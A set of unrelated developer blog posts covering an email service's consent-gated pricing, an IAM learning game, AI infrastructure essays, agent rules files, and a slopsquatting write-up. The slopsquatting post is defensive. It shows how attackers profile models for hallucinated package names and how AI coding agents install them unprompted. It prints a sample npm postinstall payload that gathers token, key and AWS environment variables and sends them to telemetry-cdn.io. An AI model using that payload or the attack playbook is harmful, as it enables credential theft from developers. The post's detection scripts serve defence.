How consent-gated email works (and why it’s free)

Email infrastructure pricing has barely moved in a decade. Mailgun, Postmark, SendGrid, Resend, all per-email, all clustered in a narrow band. The reason isn’t bandwidth, and it isn’t storage. It’s abuse. Most of what an ESP charges you covers the cost of fighting the senders who shouldn’t be on the platform in the first place.

Remove the abuse, and the price collapses.

That’s the idea behind GoodSender’s Permission Loop. Here’s how it works, and why the economics finally let us run the first 100,000 emails a month at $0 and keep the curve flat after that.

The shared-pool problem

Every sender on a typical ESP sits in an IP reputation pool with everyone else on that tier. One bad actor blasts a purchased list, mailbox providers throttle the IPs, and your perfectly legitimate transactional mail starts landing in spam. You did nothing wrong. You’re paying for the worst sender on your tier.

ESPs aren’t oblivious to this. They staff anti-abuse teams, run heuristics, freeze accounts, review manually. That work is expensive. Per-email pricing is, in large part, a tax on the entire customer base to cover the cost of policing it.

The Permission Loop

GoodSender flips the order. Before you can send to a recipient, that recipient has to confirm they want your mail. The flow is simple.

  1. You call POST /v1/emails/consent with the recipient’s address.
  2. We send a short, high-reputation consent email with approve and reject buttons. The link is signed, so the sender can’t forge it.
  3. Once the recipient clicks approve, that address is unlocked across your workspace. Sends go through instantly, from any API key in the workspace.
  4. If they click reject, the address is suppressed. The original consent email stays live, so they can change their mind later and lift the suppression themselves.
  5. If they never click, every send to that address is discarded inside GoodSender. Approve is a hard gate, enforced at the API.

Transactional templates (MFA Enrollment, New Device, Login, Order Completed, OTP Code) bypass the gate, because they’re already implicitly requested by the recipient’s own action. Transactional sends don’t change consent state. They only fail if the recipient has explicitly clicked reject.

The Engagement Check keeps permission honest

A permission granted today isn’t permission granted forever. We track opens, clicks, bounces, and complaints per recipient, aggregated into a live engagement score. Six months without engagement triggers an automatic re-permission ping. No response, the recipient drops off.

Unsubscribes and spam complaints are suppressed instantly across the entire workspace. No API key in that workspace can mail those addresses again, regardless of which engineer or which integration tries.

Permission is a snapshot. Engagement is the proof it’s still real.

Why this lets us be free at the volumes most senders need

Permission-gated mail, by construction, has almost no abuse surface.

  • Purchased lists don’t work, because the recipients haven’t opted in to your sending domain.
  • Cold sequences don’t work, because you can’t email someone who hasn’t confirmed.
  • There’s no long-tail decay, because dormant recipients get pruned.

If abuse is structurally prevented, anti-abuse cost trends toward zero. Deliverability stays high without a fire-fighting team. The IP pool runs at unusually low complaint rates by design, and the marginal cost of a sent email, on infrastructure already serving the world’s largest senders via Laneful, drops to roughly the cost of running the pipe.

That’s why the first 100,000 emails a month, including consent requests, transactional templates, and marketing sends to consented recipients, cost $0. One bucket, no per-type splits, no tiered accounting. Beyond 100K it’s $1 per additional 100,000. No subscriptions, no tiers, no credit card to start. The curve stays flat: roughly $9 a month at one million emails, $99 a month at ten million.1

100,000 emails a month is about 3,300 sends a day, more than most SaaS apps and small or mid-sized businesses ever reach. For the majority of senders, the bill stays at $0 forever.

What this changes for senders

For indie developers, solo founders, and AI startups building agentic workflows, the time you used to spend on IP warmup, suppression lists, and deliverability tickets becomes a config call. Domain verification takes about five minutes. DKIM, SPF, and DMARC get configured automatically.

This isn’t built for marketing teams running mass-broadcast campaigns. It isn’t built for cold-outreach teams. It’s built for makers and builders who want every recipient to be someone who actually asked.

Who this is for

The Permission Loop isn’t a feature you can A/B test against an open rate. It’s a constraint. It rules out workflows that other ESPs accommodate — purchased lists, cold sequences, lapsed-subscriber reactivation campaigns — and it rules them out at the API, not in the terms of service.

If your sending depends on those workflows, we’re not the right tool, and we’ll save you time by saying so now. If your sending is mostly transactional plus a newsletter people actually signed up for, the constraint is invisible and the bill is $0.

  1. Pricing as of April 2026. ↩

Learn AWS IAM by Solving 12 Policy Puzzles in the Browser

AWS IAM is hard to learn from docs alone. The evaluation logic only really clicks after enough trial and error, identity policies, resource policies, SCPs, permissions boundaries, explicit deny precedence, all interacting in non-obvious ways.

I built Learn AWS IAM to make that process more hands-on. It’s 12 interactive levels that run entirely in the browser. No AWS account, no signup, free, open source. Inspired by Learn Git Branching.

Each level gives you a scenario: a user needs to read from one S3 bucket but not another, an EC2 role needs to assume a role in a different account, an SCP is blocking something it shouldn’t. You read the existing policies, figure out what’s wrong, and edit JSON until the request evaluates the way it should.

Topics covered across the 12 levels:

  • Identity-based and resource-based policies
  • Cross-account access
  • ABAC with tags
  • Service Control Policies
  • Permissions boundaries

The rest of this post is about how it’s built.

One state machine per level

Each level has its own XState machine. The machine owns everything: which nodes and edges exist on the canvas, which objectives are active, which UI elements are currently restricted, what popup or popover is showing. Every user action becomes an event sent to the current level’s machine, whether it’s submitting a policy, drawing a connection between two nodes, or clicking “next” on a tutorial popup.

State machines fit because each level is a mostly linear flow with branches. Each tutorial step is a state, user actions drive transitions, and guards make sure the user can’t skip ahead or reach an invalid step.

The alternative I considered was a set of useEffects reacting to state changes and triggering other state changes. Ordering becomes implicit there. Each effect reacts to state, state changes trigger other effects, and you end up reasoning about which effect fires first in a given render cycle rather than reading a transition table.

Machines also need to be serializable so the user’s progress can be saved as checkpoints. This means runtime-dependent logic (validators, guard predicates) can’t live in the machine context directly. Instead, it lives in a separate registry keyed by level number and a string name. The machine stores the name; when an action runs, it looks up the real function. Snapshot restoration works transparently because the snapshot only ever contained names.

The canvas is a separate layer

The canvas renders IAM entities as draggable nodes with edges representing relationships between them. It’s built on ReactFlow. The state machine is the source of truth for which nodes and edges exist; a lighter @xstate/store instance handles UI-level state (positions, hover, selection).

The machine emits events the canvas subscribes to: NODES_ADDED, NODES_DELETED, EDGES_ADDED, NODE_UPDATED. The canvas translates them into store actions.

This indirection exists specifically because of animations. Without it, nodes deleted by the machine would vanish from the DOM immediately, before any exit animation could run. The event gives the canvas a window to animate first.

The deletion flow has three steps:

  1. Machine emits NODES_DELETED with IDs
  2. Canvas store marks those nodes as “deleting”, triggering Framer Motion exit animations
  3. On animation completion, the nodes are removed from the canvas store for good.
    Skipping the indirection and diffing prev/next node arrays in a useEffect would technically work, but you’d lose the IDs of what was deleted the moment the machine context updates.

Policy editing with CodeMirror + AJV

Most objectives in each level revolve around writing a policy, which is a JSON document following a specific schema. The editor is built on CodeMirror 6 with AJV validating the JSON on every keystroke.

Validation runs at two levels. First, the base AWS IAM policy schema covers statement structure, Action, Principal, Resource, and condition operators. On top of that, individual objectives attach their own validation rules. Level 5’s EC2 role objective, for example, requires the trust policy to include ec2.amazonaws.com as the service principal.

AJV compiles all the validators once when the level loads and reuses them for the lifetime of that level.

The editor also has a custom CodeMirror extension that renders small help badges inline next to specific lines, attaching contextual hints to the relevant parts of the policy while the user edits it.

Project layout

The codebase is organized as a stack of layers with dependencies flowing downward:

lib / types / hooks / config / stores   <- foundation
domain                                  <- IAM entities, ARNs, base schemas
levels                                  <- per-level machines, objectives, tutorial copy
runtime                                 <- loads the right level, persistence, providers
features                                <- canvas, editor, dialogs (rendering only)
app_shell / app                         <- root

Upper layers import from lower layers. Lower layers never import from upper ones. There is one exception: a typed pub/sub bus lets levels/ fire side effects handled by runtime/ (like saving a checkpoint) without creating an import cycle.

features/ and levels/ are also peers and can’t import from each other, even though levels/ sits above features/ in the chain. Level logic and UI rendering are isolated concerns; they interact only through runtime/, which acts as the bridge. The canvas component doesn’t know what level it’s rendering. It subscribes to whatever machine actor runtime/ hands it.

Stack

  • React with TypeScript, bundled with Vite
  • XState for level orchestration, @xstate/store for lighter state – ReactFlow for the canvas
  • CodeMirror 6 and AJV for the editor
  • Chakra UI for components
  • Framer Motion for animations
  • Vitest for unit and integration tests
  • Playwright for E2E across all 12 levels

Each level’s state machine is a separate dynamic import, so only the current level’s code is downloaded when the user navigates to it. The code editor is also lazy-loaded.

Links

Happy to answer questions about the evaluator or any of the architecture decisions

AI is not “hitting a wall” in the way people think.

tizwildin profile

AI is not “hitting a wall” in the way people think.

But it is approaching a structural limit that most discussions completely miss.

And that’s where things get interesting.

The common narrative right now is either:

  • “AI is exponential, nothing can stop it”
  • or “AI is already plateauing”

Both miss the real dynamic.

The truth is more subtle:

We’re not running out of capability.
We’re running into economics, architecture, and control problems.

My latest post breaks this down:

The core idea

AI systems are getting better at generating outputs.

But the system around them is getting harder to sustain:

  • inference costs don’t scale cleanly with usage
  • memory is still mostly stateless or bolted on externally
  • long-running agents are unstable without strict scaffolding
  • “context” is becoming the real bottleneck, not parameters
  • most workflows are still built on disposable interaction, not persistent intelligence

So the real question isn’t:

“Can models get smarter?”

It’s:

“Can we afford to run intelligence continuously at scale?”

The hidden wall

The wall isn’t intelligence.

It’s persistence economics.

Right now, most AI systems still behave like this:

generate → respond → reset → forget

But real usefulness at scale requires:

  • continuity across sessions
  • durable memory systems
  • reliable rollback and verification
  • stable agent identity over time
  • predictable cost per reasoning cycle

Without that, you don’t get intelligence infrastructure.

You get expensive autocomplete.

Why this matters

This shift changes everything about how AI systems will evolve:

  • Models become interchangeable commodities
  • Value moves to orchestration, not generation
  • Memory systems become more important than model size
  • Runtime architecture becomes the real competitive layer

This is where things like ARC-Neuron and LLMBuilder come in:
not as “AI tools,” but as early attempts at building persistent AI runtime economics.

The real takeaway

AI isn’t slowing down.

It’s transitioning from:

“capability problem”

to:

“systems design problem”

And most people are still arguing about the wrong layer.

Full post:
https://dev.to/tizwildin/ai-is-heading-toward-a-wall-and-most-people-still-dont-see-it-4f0b

ai #machinelearning #llm #agents #systems #infrastructure #futureofai

Why I Built My Own AI: The Case for Self-Hosted Domain Agents (Kulvex)

Originally published on the AstroLexis blog. Cross-posted here for the community.

In 2024 I got tired of paying OpenAI to know everything about my house, my conversations, my calendar, my code, and my family. So I built Kulvex AI — a self-hosted AI platform that runs an 80-billion parameter model on a pair of consumer GPUs in my office, exposes 17 domain agents over a private API, and handles everything from Zigbee lights to messaging across eight platforms. Here’s why I built it, what it actually does, and where the trade-offs land in 2026.

The premise that broke for me

For about eighteen months I lived inside the OpenAI / Anthropic ecosystem like everyone else. Then a few things piled up at once:

  • OpenAI deprecated three model versions in a single quarter. Prompts that had been stable for nine months suddenly produced different outputs.
  • I was paying close to $400/month across personal + work API usage.
  • A friend got rate-limited mid-presentation by Anthropic.
  • I started building accessibility software for my dad and clinical software for my kid’s therapist. For both, “send the user’s voice to OpenAI” was a non-starter. Once I’d done the on-device work for those, the “we have to use cloud” thinking for everything else stopped making sense.

The breaking point was simple: I wanted an AI that would still work in five years exactly the way it works today, on hardware I own, that I could point at any task without asking anyone for permission. That product didn’t exist. So I built it.

What Kulvex actually is

Three pieces:

  1. The server — runs on your own hardware (a workstation with at least one 24GB GPU, ideally two). Hosts a quantized 80B-parameter model via llama.cpp, exposes a Socket.IO API for clients, and orchestrates a set of domain agents.
  2. The iOS client (in App Review as of writing) — talks to your Kulvex server over a private endpoint. Apple Foundation Models on-device for low-latency tasks, falls back to the server for anything requiring the 80B model.
  3. Kulvex Code — terminal IDE with 15+ plugins. Sibling product to KCode, but for general dev work instead of security audit.

The 17 domain agents

“AI assistant” is too vague. What Kulvex actually does is split work across specialized agents:

🏠 Home Automation · 📱 Messaging Hub · 📅 Calendar · 📧 Email · 📰 News Curation · 🎵 Music · 🌤️ Weather · 📷 Cameras (Hikvision) · 💡 Lights (Zigbee + Tuya) · 🔌 Energy/Solar · 🍔 Food · 🚗 Vehicle · 📚 Research · 💰 Finances · 📝 Notes · 🛠️ Code · 🧬 Self-Evolution

Each agent has a narrow job, its own toolset, and its own context budget. When the user says “turn off the kitchen lights and tell me what’s on the calendar tomorrow,” the platform routes to two agents in parallel. Neither agent needs to know about the other.

This design made Kulvex tractable for me as a solo developer. The general-purpose “do everything” AI model is hard to make good. Seventeen narrow agents, each replaceable independently, is much easier to ship.

The piece I’m proudest of: self-evolution

One of the 17 agents is called Self-Evolution. Its job is to read Kulvex’s own codebase, identify bugs or improvements, write the fix, run the test suite, and — if everything passes — commit and deploy.

Three guardrails make this safe:

  1. Sandboxed worktree. Changes apply to a clone, tested in isolation, only merged if CI passes.
  2. I review every commit. Agent opens PRs against my GitHub; nothing lands without human approval. No write access to main.
  3. Scope bounded by directive files. Agent reads OWNER-DIRECTIVES.md at the repo root, which tells it what it’s allowed to modify (typos, dead code, small refactors, dependency upgrades) and what it’s NOT (auth, payments, model selection logic, API surfaces).

In four months: ~340 PRs opened, ~280 merged. Meaningful chunk of the 200K-line codebase maintenance offloaded.

The hardware reality

Self-hosted AI in 2026 means buying GPUs:

  • RTX 5090 (32 GB VRAM) — primary inference. Runs the 80B model in 4-bit quantization.
  • RTX 4090 (24 GB VRAM) — secondary. Whisper-large + vision.
  • 96 GB DDR5 system RAM for context cache.
  • ~$5,500 total. Three-year amortization = $155/month — less than half what I was paying OpenAI.

The math gets better the more you use it. Hardware costs the same whether I run 10 queries or 10,000. After breakeven, marginal cost approaches zero.

For users who don’t want to run their own GPU, Kulvex has a hosted “Home” tier where we run the server on shared infrastructure — still no cloud LLM vendor in the loop, model weights pinned, but you’re renting compute instead of buying.

What I didn’t have to give up

The 80B model on the RTX 5090 produces output that, for 95% of tasks (code review, drafting, knowledge retrieval, agent orchestration), is roughly comparable to GPT-4-class. The frontier (Claude Opus 4.x, GPT-5) still beats it on hard reasoning. For those cases Kulvex’s orchestrator can route to Claude or GPT if the user opts in. I rarely turn that on. Privacy + cost + reliability beat marginal capability for my workload.

What I did have to give up

Honest list:

  • Setup is harder. Kulvex server takes 30-60 minutes to install if you’re comfortable with Docker and CUDA. Not great for non-technical users. Hosted tier exists for this.
  • Cold starts. Idle GPU + first query = 5-10s while model loads back into VRAM. Subsequent queries sub-second.
  • Image generation. Not bundled. Need DALL-E quality? Fall back to a hosted service. ComfyUI integration on roadmap.
  • Internet research. Local model has no live web (by design). Agents can fire search to SearXNG or Perplexity. Not as smooth as ChatGPT browsing.

For casual AI users, cloud is still better. Kulvex makes sense once your usage is heavy enough that the privacy + cost + reliability balance flips.

Pricing

  • Starter — free, hosted, capped.
  • Home — $19/month hosted, unmetered personal use.
  • Pro — $49/month hosted + on-prem option.
  • Enterprise — custom, on-prem with SLA.

The on-prem tier never phones home except for license validation.

The honest part

  • iOS client in App Review right now (build 4.3.6). Apple rejected previous builds for AI consent flow; resolved.
  • Real users on Home and Pro exist but small numbers.
  • Platform mature, product/GTM still finding shape. Biggest gap: install-and-onboard for non-technical users.
  • I use Kulvex personally every day. That’s the proof. Whether it’s a business — same as KCode, we’ll know in two quarters.

Who this is for

  • People who already self-host (Home Assistant, Nextcloud, Jellyfin homelabbers).
  • Privacy/compliance constraints (healthcare, legal, defense, GDPR).
  • Heavy AI users — $50+/month in API spend.
  • People who believe intelligence-as-software should be ownable, not rented.

— Bruno Galtranch, founder, AstroLexis LLC. If you self-host or are considering it: [email protected].

The Harness Flywheel: How Reviews Become Rules

The most expensive failure mode in an agent-augmented team is not the agent making mistakes. It is the team catching the same mistake over and over and never doing anything about it.

A reviewer reads the diff. They notice the agent reached into the wrong layer of the stack. They leave a comment. The author fixes it. The PR merges. Three days later, on a different feature, the agent does the same thing. A different reviewer catches it. A different comment. A different fix.

This is not a problem of agent capability. The team knows the rule. The agent does not. There is no path between the reviewer’s brain and the agent’s next session.

The flywheel is the path.

What a flywheel actually is

Every review comment is one of two things: a one-off (“you misnamed this variable”) or a class of issue (“we never reach into the database from the controller layer”). The first kind is fine to handle in the PR and forget. The second kind is the entire population the agent will keep producing variations of, forever, unless the harness learns.

A flywheel is the loop that converts the second kind into durable change. It has three steps and they are all boring:

  1. A reviewer notices a pattern they have flagged more than once.
  2. The pattern is encoded as a rule, in the rules file the agent reads at the start of every session.
  3. The next agent run gets the rule in context and follows it.

Done. The reviewer never has to flag that specific thing again. The system absorbed the lesson.

The tooling matters less than the loop. Bridle ships a /bridle:learn command precisely to make step two cheap; you can do the same thing manually by opening the rules file and adding a sentence. What matters is that step two actually happens, in some predictable way, every time step one occurs.

Why most teams skip it

The flywheel is conceptually trivial. In practice, almost no one runs it consistently.

The usual reasons:

The reviewer is in flow on something else. Writing a comment takes ten seconds. Updating the rules file takes two minutes and requires opening a different file, picking the right section, and writing it in a way the agent will actually internalize. The marginal cost is small but it is exactly the cost that gets skipped under load.

Nobody owns the rules file. Everyone could edit it. So nobody does. The same pattern that turns shared documents into stale documents turns rules files into stale rules files.

The team is not sure the rule is general enough. “Is this a one-off or a class?” is a real question and the cautious answer is always “leave it for now.” Cautious answers accumulate into a backlog of unencoded knowledge.

The rule already exists, in spirit, somewhere. The team has a wiki page that says something close. The CLAUDE.md mentions the principle. The senior engineers know it. None of that helps the agent unless the rule is in the file the agent loads.

What the ritual looks like

The shortest version of the practice that works:

When a reviewer leaves a comment that they have left before, on this PR or another, they commit a one-line note to the rules file in the same PR they are requesting changes from. Not later. Not in a follow-up. Same PR. The author of the PR can push back on the rule itself if they disagree, but the default is that the rule lands.

The rule should be the smallest concrete statement that would have prevented the diff under review. Not a principle (“we value clean architecture”). Not an essay. A sentence with a verb the agent can act on. “Controllers do not call repository methods directly; route all data access through the service layer.” That kind of thing.

Once a week, somebody (rotating or assigned) reads the rules file end to end and prunes. Rules that turned out to be wrong get deleted. Rules that have been superseded by a linter or a type get deleted. Rules that nobody can remember the origin of get a link added back to the PR that spawned them, or they get deleted. The file stays alive because someone is keeping it alive.

That is the entire practice.

Bridle also has commands to make auditing both the code and the harness easy, as well as the ability to produce a debt map. This step does not have to be painstaking.

What the flywheel produces over time

The interesting property is that the file gets better with use, not worse. A team that runs the loop for six months ends up with a rules file that is essentially a compressed log of every mistake the agent has made in their codebase and the team’s correction to it. New engineers, human or agent, inherit that history for free. The patterns the original team had to learn through painful review cycles become things the next session of the agent simply knows.

This is the same property that makes a mature deployment pipeline valuable. The pipeline is institutional memory enforced by automation. The rules file is institutional memory enforced by being loaded into context. Both work for the same reason: they do not depend on anyone remembering anything.

A team running the flywheel is, after a year, a meaningfully different team from one that is not. The drift is slow and the difference compounds. The team that fed the flywheel has a harness shaped to their codebase. The team that did not has the same generic harness it started with, plus a Slack channel full of recurring complaints.

Start tomorrow

If you want to start, the smallest move is this: the next time you leave a review comment that feels familiar (one you have left before, in any form) open the rules file and write one sentence that would have prevented it. Merge the rules update with the PR. Tell the rest of the team what you did and why.

That is the entire flywheel, running once. Do it twice next week. Do it five times the week after. The discipline is in the boring repetition; the rest of the value follows.

Slopsquatting: The Attacker Playbook for AI-Hallucinated Package Names

This article was originally published on LucidShark Blog.

Typosquatting required effort. An attacker had to guess which popular package names developers might mistype, register plausible-looking variants, and then wait for the rare case where a human fat-fingered an install command. The hit rate was low because the attack surface was small: the gap between what a developer intended to type and what their fingers actually produced.

Slopsquatting inverts the economics entirely. Instead of waiting for human error, attackers harvest the systematic hallucinations of AI coding tools, then register exactly the package names that LLMs confidently invent. The attack surface is not a small set of typo variants. It is 440,000-plus hallucinated package names catalogued by researchers across Python and JavaScript ecosystems, each one a pre-registered trap waiting for an AI agent to suggest it.

This post is about the attacker side of that equation: specifically, how slopsquatting operations work, why AI agents are better victims than humans, and what detection looks like at the dependency resolution layer.

Not hypothetical: In January 2026, a researcher found an npm package called react-codeshift spreading through 237 real repositories via AI-generated agent skill files. Nobody planted it deliberately. The AI hallucinated the name, the agent executed the install, and the package propagated through forks without any human making a conscious choice to add it. It was still receiving daily download attempts from AI agents when the researcher claimed the name.

The Research Baseline

The foundational data on slopsquatting comes from a USENIX Security 2025 paper in which researchers tested 16 code-generation models across 576,000 Python and JavaScript code samples. The headline number is that AI coding tools hallucinate non-existent package names in roughly 20% of interactions, producing 440,445 unique fake dependency references.

The breakdown matters for understanding attacker targeting:

  • 51% pure fabrications: Names with no resemblance to any real package. The model invented them from scratch, typically to describe a utility it believes should exist.

  • 38% conflations: The model mashes two real package names together. express-mongoose, react-router-redux, axios-interceptor-retry. Each component is a real package. The combination is not.

  • 13% typo variants: Near-misses on real package names. These overlap with traditional typosquatting targets but are generated by the model rather than a human’s fingers.

The persistence characteristic is the detail attackers exploit: when a prompt that generated a hallucination is repeated, the same hallucinated package name appears 43% of the time in subsequent queries, and 58% of all hallucinated names are repeated more than once across independent sessions. This is not random noise. It is a stable pattern that can be profiled.

Why stability matters to attackers: A hallucination that appears once is a curiosity. A hallucination that appears in 43% of sessions using a common prompt pattern is a target. If an attacker can identify which package names a specific model reliably hallucinates for a given task category, they can pre-register those names and wait. The model will do the distribution work for them.

The Attacker Playbook, Step by Step

Step 1: Model Profiling

Attackers do not guess. They run systematic prompts against publicly available models (GPT-4o, Claude Sonnet, Gemini, CodeLlama) across task categories: “write a function to parse XML in Python,” “implement JWT authentication in Node.js,” “add retry logic to an HTTP client.” Each response is parsed for import statements and package references. Non-existent packages are logged with their originating prompt and model.

# Attacker profiling script (simplified)
import subprocess, json

prompts = [
    "Write a Python function to parse XML and extract all attributes",
    "Implement JWT token validation middleware for Express.js",
    "Add exponential backoff retry logic to an axios HTTP client",
    "Write a Python script to diff two JSON objects recursively",
    "Create a React hook for real-time WebSocket subscriptions",
]

hallucinated = {}
for prompt in prompts:
    # query model API, extract import/require statements
    # check each package name against npm/PyPI registry
    # log packages that return 404
    pass

# Output: {"requests-xml-parser": 12, "jwt-express-validator": 8,
#          "axios-retry-backoff": 19, "deep-json-diff": 6, ...}

The output is a frequency-ranked list of hallucinated names per model, per task category. High-frequency names are the primary targets. They represent package names the model will reliably suggest to anyone performing that task category.

Step 2: Registry Availability Check and Registration

For each high-frequency hallucination, the attacker checks whether the name is already registered on npm or PyPI. Unregistered names are claimed immediately with a skeleton package that contains a malicious postinstall or preinstall lifecycle script.

{
  "name": "axios-retry-backoff",
  "version": "1.0.0",
  "description": "Axios retry with exponential backoff",
  "main": "index.js",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  },
  "keywords": ["axios", "retry", "backoff", "http"],
  "author": "community-maintained",
  "license": "MIT"
}

// scripts/setup.js (the actual payload)
const https = require('https');
const os = require('os');
const { execSync } = require('child_process');

const data = JSON.stringify({
  h: os.hostname(),
  u: os.userInfo().username,
  p: process.env.PATH,
  // environment variables captured here
  env: Object.keys(process.env)
    .filter(k => /TOKEN|KEY|SECRET|PASSWORD|AWS|GITHUB/i.test(k))
    .reduce((acc, k) => ({ ...acc, [k]: process.env[k] }), {})
});

// exfiltrate to attacker-controlled endpoint
const req = https.request({ host: 'telemetry-cdn.io', path: '/init', method: 'POST' });
req.write(data);
req.end();

The package index page looks legitimate: a description matching the hallucinated name, common keywords, an MIT license. It passes a cursory visual inspection. The malicious behavior is entirely in the lifecycle script, which runs automatically on npm install.

Step 3: Waiting for AI Agents to Execute

This is where slopsquatting diverges from every prior supply chain attack pattern: the attacker does not need to inject anything into a legitimate package, compromise a maintainer account, or send a phishing email. They simply wait. Every time an AI coding agent suggests the hallucinated package name and then executes npm install, the payload runs automatically.

In an agentic workflow where the agent has filesystem and shell access, the install happens without a human confirming the package. The agent has already been given permission to install dependencies. The sequence is:

  • Developer prompts Claude Code: “Add retry logic to our HTTP client.”

  • Claude Code generates code referencing axios-retry-backoff.

  • Claude Code runs npm install axios-retry-backoff autonomously.

  • The postinstall script runs, exfiltrates environment variables including GITHUB_TOKEN, AWS_ACCESS_KEY_ID, and any other secrets in the shell environment.

  • The developer’s machine is now compromised. The agent continues, none the wiser.

The CISA parallel: The recent incident where a CISA administrator’s AWS GovCloud keys leaked prompted a top Hacker News comment noting that AI agents routinely send .env file contents to LLM APIs. The same agent that sends your environment to a cloud LLM for context also executes installs from a registry with no verification. The attack surface is the intersection of those two behaviors.

Step 4: Scaling via Agentic Proliferation

Traditional typosquatting attacks wait for individual developers to mistype. Slopsquatting attacks scale through the viral propagation of AI-generated code. When an AI agent generates a scaffold or boilerplate containing a hallucinated dependency, that scaffold gets committed to a repository. Other developers clone it, run npm install, and execute the payload. The package spreads through forks and downstream projects.

The react-codeshift case documented 237 repository propagations from a single hallucinated reference. At that scale, one package registration becomes a multi-organization incident.

Why AI Agents Are Better Victims Than Humans

The shift from human developers to AI agents as the primary consumers of hallucinated packages changes the threat model in three ways:

No Visual Verification

A human developer who types an unfamiliar package name into a terminal might pause to search for it, check the npm page, compare the weekly download count to its claimed popularity. An AI agent running in an automated loop does not. It executes the install and moves on. The friction that protected humans in typosquatting scenarios simply does not exist.

Persistent Re-Execution

An agentic workflow that runs on a schedule, or a CI/CD pipeline where an agent is given tool access, will execute the same hallucinated install repeatedly. Each run is a new opportunity for the payload to execute. A human who installs a bad package once and notices unusual behavior will not install it again. A scheduled agent has no such feedback loop.

Elevated Permissions and Rich Environment

AI coding agents in agentic workflows typically run with the developer’s full shell environment: all environment variables, all credentials, all tokens. The postinstall script of a slopsquatted package has access to everything the developer’s shell has access to. That includes CI/CD tokens, cloud provider credentials, and API keys for every service the developer has authenticated against.

# What a typical developer shell environment exposes to a postinstall script
echo $GITHUB_TOKEN        # repository write access
echo $AWS_ACCESS_KEY_ID   # cloud infrastructure access
echo $NPM_TOKEN           # ability to publish to npm as the developer
echo $DATABASE_URL        # direct database connection string
echo $STRIPE_SECRET_KEY   # payment processor access
echo $OPENAI_API_KEY      # LLM API billing access

The SAP CAP npm attack of April 2026, where four packages with 572,000 combined weekly downloads carried malicious preinstall hooks, demonstrated that the payload execution model works at scale. Slopsquatting is that same execution model, but with the distribution problem solved by AI hallucinations rather than compromising a legitimate maintainer.

Detection at the Dependency Resolution Layer

The effective detection point for slopsquatting is not at the code generation step. You cannot reliably prompt an LLM to only suggest real packages. The effective detection point is between the npm install invocation and the actual registry resolution: a layer that checks whether the package being installed existed before the current session, has meaningful download history, and has provenance attestations.

What to Check Before Any Install

# Pre-install validation script (integrate with pre-commit or agent tooling)
#!/usr/bin/env bash

PACKAGE=$1

# 1. Check if package exists in registry
NPM_DATA=$(curl -sf "https://registry.npmjs.org/${PACKAGE}" 2>/dev/null)
if [ $? -ne 0 ]; then
  echo "BLOCK: Package '${PACKAGE}' not found in npm registry."
  exit 1
fi

# 2. Check weekly download count (low count = red flag)
DOWNLOADS=$(curl -sf "https://api.npmjs.org/downloads/point/last-week/${PACKAGE}" 
  | python3 -c "import sys,json; print(json.load(sys.stdin).get('downloads',0))")
if [ "$DOWNLOADS" -lt 100 ] 2>/dev/null; then
  echo "WARN: Package '${PACKAGE}' has only ${DOWNLOADS} downloads last week."
fi

# 3. Check publish date (very new package = red flag)
CREATED=$(echo "$NPM_DATA" | python3 -c 
  "import sys,json; d=json.load(sys.stdin); print(list(d.get('time',{}).keys())[0] if d.get('time') else 'unknown')")
echo "INFO: Package '${PACKAGE}' first published: ${CREATED}"

# 4. Check for postinstall/preinstall scripts
HAS_LIFECYCLE=$(echo "$NPM_DATA" | python3 -c 
  "import sys,json; d=json.load(sys.stdin); 
   scripts=d.get('versions',{}).get(d.get('dist-tags',{}).get('latest',''),{}).get('scripts',{}); 
   print('YES' if any(k in scripts for k in ['postinstall','preinstall','install']) else 'NO')")
if [ "$HAS_LIFECYCLE" = "YES" ]; then
  echo "WARN: Package '${PACKAGE}' has lifecycle scripts. Review before installing."
fi

The Lockfile as a Defense Boundary

Once a package is in your lockfile after passing validation, subsequent installs resolve to the exact version and hash you verified. The lockfile is a trust boundary: nothing new enters without a deliberate install command that can be intercepted and checked. This is why maintaining a strict lockfile and running npm ci (which fails on lockfile changes) rather than npm install in production contexts matters enormously in an agentic workflow.

# .npmrc configuration to reduce install-time attack surface
audit=true
fund=false
ignore-scripts=false  # keep this false and audit scripts instead

# In CI/CD, use:
npm ci --ignore-scripts  # install from lockfile, skip all lifecycle scripts
# Then run only the scripts you explicitly trust

The provenance gap: npm provenance attestations (OIDC-based, introduced in 2023) verify that a package was built from a specific repository commit via a specific CI/CD pipeline. The TanStack supply chain attack demonstrated that even valid OIDC provenance can be bypassed when a maintainer’s token is compromised. Provenance is a necessary signal but not a sufficient one. Slopsquatted packages, being attacker-registered from the start, will never have provenance attestations. That absence is itself a signal.

What the Hallucination Frequency Data Tells You

The USENIX research established that hallucinations follow predictable patterns per model. This means you can use the same profiling methodology defensively: run your own prompts through the AI tools your team uses, capture the package suggestions, and audit which suggested packages have low install counts, recent creation dates, or no provenance attestations.

This is not a one-time audit. As models are updated, hallucination patterns shift. The defensive version of attacker Step 1 is an ongoing process, not a point-in-time check.

# Defensive hallucination profiling (run monthly against your tool stack)
import json, urllib.request

def check_package_legitimacy(package_name: str, ecosystem: str = "npm") -> dict:
    """
    Returns risk signals for a package name.
    Used to validate AI-suggested dependencies before install.
    """
    result = {"package": package_name, "exists": False, "risk_signals": []}

    if ecosystem == "npm":
        url = f"https://registry.npmjs.org/{package_name}"
        try:
            with urllib.request.urlopen(url, timeout=5) as resp:
                data = json.loads(resp.read())
                result["exists"] = True

                # Check creation date
                times = data.get("time", {})
                if "created" in times:
                    result["created"] = times["created"]

                # Check download proxy (requires separate API call)
                latest = data.get("dist-tags", {}).get("latest", "")
                scripts = data.get("versions", {}).get(latest, {}).get("scripts", {})
                if any(k in scripts for k in ["postinstall", "preinstall", "install"]):
                    result["risk_signals"].append("lifecycle_scripts_present")

                # No provenance = red flag for any package suggested by AI
                if not data.get("versions", {}).get(latest, {}).get("_attestations"):
                    result["risk_signals"].append("no_provenance_attestation")

        except Exception:
            result["risk_signals"].append("registry_404_does_not_exist")

    return result

# Example output for a slopsquatted package:
# {
#   "package": "axios-retry-backoff",
#   "exists": True,
#   "created": "2026-04-17T09:23:41.000Z",  # recent creation
#   "risk_signals": ["lifecycle_scripts_present", "no_provenance_attestation"]
# }

The Agentic Amplification Problem

Every improvement in agentic coding capabilities makes slopsquatting a more attractive attack vector. As agents gain longer context windows and more autonomous tool use, they handle larger codebases and more complex dependency graphs. Each additional dependency in a large codebase is an opportunity for a hallucinated name to slip through.

The agentic autonomy that makes these tools productive, running installs, scaffolding projects, updating dependencies without waiting for human confirmation, is the same autonomy that removes the last friction point that might have caught a slopsquatted package before execution.

